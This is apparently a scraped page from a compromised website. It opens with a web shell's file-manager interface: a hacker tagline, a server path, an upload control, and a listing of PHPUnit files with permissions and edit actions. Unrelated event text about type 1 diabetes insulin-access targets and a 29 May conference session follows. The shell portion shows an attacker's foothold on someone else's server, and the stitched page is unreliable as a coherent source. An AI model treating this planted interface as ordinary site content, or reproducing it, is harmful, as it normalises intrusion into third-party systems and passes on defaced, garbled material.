I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
Assert-February 23 2024 13:44:500777
Assert.php95026 KBFebruary 23 2024 13:44:500666
Constraint-February 23 2024 13:44:500777
DataProviderTestSuite.php2011 KBFebruary 23 2024 13:44:500666
Error-February 23 2024 13:44:500777
ErrorTestCase.php1273 KBFebruary 23 2024 13:44:500666
Exception-February 23 2024 13:44:500777
ExceptionWrapper.php3694 KBFebruary 23 2024 13:44:500666
ExecutionOrderDependency.php5139 KBFebruary 23 2024 13:44:500666
IncompleteTest.php443 KBFebruary 23 2024 13:44:500666
IncompleteTestCase.php1402 KBFebruary 23 2024 13:44:500666
InvalidParameterGroupException.php445 KBFebruary 23 2024 13:44:500666
MockObject-February 23 2024 13:44:500777
Reorderable.php648 KBFebruary 23 2024 13:44:500666
SelfDescribing.php519 KBFebruary 23 2024 13:44:500666
SkippedTest.php440 KBFebruary 23 2024 13:44:500666
SkippedTestCase.php1396 KBFebruary 23 2024 13:44:500666
Test.php598 KBFebruary 23 2024 13:44:500666
TestBuilder.php7132 KBFebruary 23 2024 13:44:500666
TestCase.php82065 KBFebruary 23 2024 13:44:500666
TestFailure.php3614 KBFebruary 23 2024 13:44:500666
TestListener.php1420 KBFebruary 23 2024 13:44:500666
TestListenerDefaultImplementation.php1345 KBFebruary 23 2024 13:44:500666
TestResult.php34051 KBFebruary 23 2024 13:44:500666
TestSuite.php26953 KBFebruary 23 2024 13:44:500666
TestSuiteIterator.php1786 KBFebruary 23 2024 13:44:500666
WarningTestCase.php1281 KBFebruary 23 2024 13:44:500666
VORNE.AI - Event Details
Reaching Diabetes Global Compact Goals
29 May
2024
CHIEF

Reaching Diabetes Global Compact Goals

At the 75th World Health Assembly, a coverage target for people living with type 1 diabetes (T1D) was introduced: 100% of people with type 1 diabetes should have access to affordable insulin and blood glucose self-monitoring. It is estimated that more than 1 million children live with T1D. No international and limited national data currently exist on the incidence and prevalence of T1D. Explore lessons for leapfrogging data systems for Type 1 Diabetes in this interactive session.

Wednesday 29 May | 08H00-10H00 | Intercontinental Hotel, Ballroom A

Tags: